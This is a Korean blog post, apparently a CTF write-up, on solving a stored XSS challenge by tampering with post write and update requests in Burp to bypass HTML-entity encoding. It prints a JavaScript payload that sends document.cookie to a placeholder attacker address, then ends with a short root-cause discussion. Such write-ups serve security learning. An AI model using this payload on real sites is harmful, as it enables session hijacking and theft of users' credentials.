Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 5

Gearvirus(junyup2) 2023. 12. 29. 17:43

[SegFault] (XSS)

XSS 5

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์—์„œ๋Š” XSS ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•„ ๊ณต์ง€์‚ฌํ•ญ์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

์šฐ์„  ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์„ ํ™•์ธํ•ด๋ณธ๋‹ค.

< ' " >

๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์— ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋Š” ํŠน์ˆ˜๋ฌธ์ž < ' " >์— ๋Œ€ํ•˜์—ฌ ํ™•์ธํ•ด๋ณธ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ์œ„์™€ ๊ฐ™์ด ์ œ๋ชฉ๊ณผ ๋‚ด์šฉ ๋ชจ๋‘์—์„œ HTML Entity๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

XSS Point

๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ์—์„œ๋Š” XSS๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด HTML Entity ๋กœ์˜ ์น˜ํ™˜์ด ๋˜๊ณ  ์žˆ๋‹ค.๊ธ€์˜ ์ˆ˜์ • ๊ธฐ๋Šฅ์„ ํ™•์ธํ•ด ๋ณธ๋‹ค.

๊ธ€์˜ ์ˆ˜์ • ๊ณผ์ •(update_process)์—์„œ Burp๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณ€์กฐํ•˜์—ฌ ๋„ฃ์–ด์ค€๋‹ค.

๊ทธ ํ›„ ํ•ด๋‹น ๊ธ€์— ์ ‘๊ทผํ•ด๋ณธ ๊ฒฐ๊ณผ ๊ธ€ ์ˆ˜์ • ๊ณผ์ •์„ ์ด์šฉํ•˜๋ฉด ์ด๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜์˜€๋‹ค.

(ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ๊ธ€ ์ž‘์„ฑ ๊ณผ์ •์—์„œ๋„ ์›น ํ”„๋ก์‹œ ํˆด(Burp)๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ณ€์กฐํ•ด์ฃผ๋ฉด ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜์˜€๋‹ค.)

์ œ๋ชฉ ๋ถ€๋ถ„์— ๋Œ€ํ•ด์„œ๋Š” ๊ทธ๋Œ€๋กœ HTML Entity๊ฐ€ ์ ์šฉ๋˜์ง€๋งŒ, ๊ธ€์˜ ๋‚ด์šฉ ๋ถ€๋ถ„์˜ HTML Entity๊ฐ€ ์ ์šฉ๋˜์ง€ ์•Š์•„ ์ˆ˜์ •ํ•˜์—ฌ ์ž…๋ ฅํ•œ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

XSS ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์œผ๋ฏ€๋กœ ์‚ฝ์ž…ํ•  ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ (Payload)

<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie="+cookieData;
</script>

 

์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž…

์œ„์˜ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ธ€์“ฐ๊ธฐ ๊ธฐ๋Šฅ, ๊ธ€ ์ˆ˜์ • ๊ธฐ๋Šฅ์—์„œ ๋‚ด์šฉ ๋ถ€๋ถ„์— ์‚ฝ์ž…ํ•˜๋Š” ๊ฒฝ์šฐ HTML Entity๊ฐ€ ์ ์šฉ๋œ๋‹ค.

ํ•˜์ง€๋งŒ DB ๊ธ€์„ ์‚ฝ์ž…ํ•˜๋Š” ๊ณผ์ •, ์ฆ‰ ๊ธ€์“ฐ๊ธฐ ๊ณผ์ •(write_process), ๊ธ€ ์ˆ˜์ • ๊ณผ์ •(update_process)์—์„œ ์ง์ ‘์ ์œผ๋กœ ๋ณ€์กฐํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

์œ„์˜ ๊ณผ์ • ํ›„ ํ•ด๋‹น ๊ธ€์„ ์ฝ๊ธฐ ์œ„ํ•ด ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ ๋‚ด์šฉ ๋ถ€๋ถ„์˜ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ํ™”๋ฉด์—๋Š” ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋˜์ง€ ์•Š์ง€๋งŒ ์ €์žฅ๋˜์–ด ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ•ด๋‹น ๊ธ€์˜ URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ๊ธ€์— ์ ‘๊ทผํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ์›ํ•˜๋Š” flag๊ฐ€ ํš๋“๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ์‹์˜ ๊ธ€์“ฐ๊ธฐ, ๊ธ€ ์ˆ˜์ • ๊ธฐ๋Šฅ์—์„œ๋Š” HTML Entity๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€๋งŒ, ํ•ด๋‹น ๊ธ€์ด ์‚ฝ์ž…๋˜๋Š” ๊ณผ์ •(process)์—์„œ ๋ณ€์กฐ๋ฅผ ํ•˜๋Š” ๊ฒฝ์šฐ, HTML Entity๋กœ์˜ ๋ณ€ํ™˜์— ๋Œ€ํ•œ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•œ ์ ์„ ์ด์šฉํ•œ๋‹ค.
ํด๋ผ์ด์–ธํŠธ ์ธก ํ™•์ธ(Client Check)์„ ํ•˜์ง€ ์•Š์•„ ์ƒ๊ธด ์ทจ์•ฝ์ ์ด๋‹ค.
์œ„์˜ ์šฐํšŒ ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ์‘๋‹ต(Response)์— ์ž‘์„ฑ๋˜์–ด ์žˆ๋Š” ๋‚ด์šฉ์ด ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ์ ์„ ์ด์šฉํ•œ Stored XSS ์ทจ์•ฝ์ ์ด๋‹ค.
์š”์ฒญ(Request)๊ฐ’์„ ์ง์ ‘์ ์œผ๋กœ ์ˆ˜์ •ํ•˜์—ฌ ๋„ฃ๋”๋ผ๋„ HTML Entity๋กœ์˜ ๋ณ€ํ™˜ ๊ณผ์ •์„ ๊ฑด๋„ˆ๋›ฐ์ง€ ๋ชปํ•˜๋„๋ก, ๋ณ€ํ™˜์„ ์ง„ํ–‰ํ•˜๋Š” ์œ„์น˜์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜